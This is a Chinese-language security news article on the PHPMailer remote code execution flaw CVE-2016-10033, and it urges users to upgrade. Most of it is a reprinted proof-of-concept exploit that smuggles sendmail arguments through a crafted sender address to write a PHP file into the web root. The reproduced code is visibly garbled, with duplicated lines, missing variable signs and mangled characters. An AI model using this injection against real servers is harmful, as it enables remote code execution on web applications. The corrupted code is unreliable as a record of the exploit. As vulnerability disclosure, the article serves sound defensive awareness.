PHPMailer出现漏洞CVE-2016-10033,全球900万用户容易遭受远程攻击。官方目前已经发布新版本,请用户尽快升级。PHPMailer 5.2.18 之前所有版本都受到影响。CVE官方对于该漏洞的描述还处于 保留状态 。
PHP Mailer是什么
PHPMailer,用于发送电子邮件的最受欢迎的开源 PHP 库之一,也是PHPMailer是一个用于发送电子邮件的PHP函数包。据估计,世界各地的超过 900 万用户利用此库。数以百万计的使用 PHP 和流行的 CMS,目前包括 WordPress,rupal 和 Joomla 网站使用库发送电子邮件。
PHPMailer远程任意代码执行漏洞CVE-2016-10033
该漏洞由安全专家 Dawid Golunski 从Legal Hacker网站上发布,远程未经身份验证的攻击者可以利用该漏洞,在 web 服务器的上下文中执行任意代码,攻击目标 web 应用程序。
"独立的研究发现了 PHPMailer,可以潜在地用于 (未经身份验证) 的远程攻击者,实现远程执行任意代码的上下文中的 web 服务器用户和远程破坏目标 web 应用程序中一个严重的漏洞"。Golunski 解释说。
"利用此漏洞的攻击者,可以攻击共用的网站组件,包括联系/反馈表单、 注册表单、 电子邮件的密码重置等,并利用 有漏洞版本的PHPMailer 类发送电子邮件"。
PoC (PHPMailer远程任意代码执行漏洞CVE-2016-10033)
这个漏洞的PoC代码已经公开。
<?php
/*
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
A simple PoC (working on Sendmail MTA)
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:
The resulting file will contain the payload passed in the body of the msg:
09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?>
09607 <<<
09607 <<<
09607 <<<
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?>
09607 <<<
09607 <<<
09607 <<<
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--
See the full advisory URL for details.
*/
// Attacker's input coming from untrusted source such as GET,_POST etc.
// For example from a Contact form
// For example from a Contact form
emailfrom=′"attacker\"−oQ/tmp/−X/var/www/cache/phpcode.phpsome"@email.com′;msg_body = "<?php phpinfo(); ?>";
// ------------------
// mail() param injection via the vulnerability in PHPMailer
require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"
$mail = new PHPMailer(); // defaults to using php "mail()"
mail−>SetFrom(email_from, 'Client Name');
address="customerfeedback@company−X.com";mail->AddAddress($address, "Some User");
mail−>Subject="PHPMailerPoCExploitCVE−2016−10033";mail->MsgHTML($msg_body);
if(!mail->Send()) {
echo "Mailer Error: " .mail->ErrorInfo;
} else {
echo "Message sent!\n";
}
echo "Mailer Error: " .mail->ErrorInfo;
} else {
echo "Message sent!\n";
}
据研究人员称,还开发了无身份验证 RCE 开发为一种流行开源代码部署的应用程序 (在互联网上超过 100 万的服务器上) 作为 PoC 真实开发。这个应该会在厂商修复漏洞之后公布。
原文发布时间:
2017年3月24日
本文由:securityaffairs发布,版权归属于原作者
原文链接:http://toutiao.secjia.com/phpmailer-vulnerability-cve-2016-10033
本文来自云栖社区合作伙伴安全加,了解相关信息可以关注安全加网站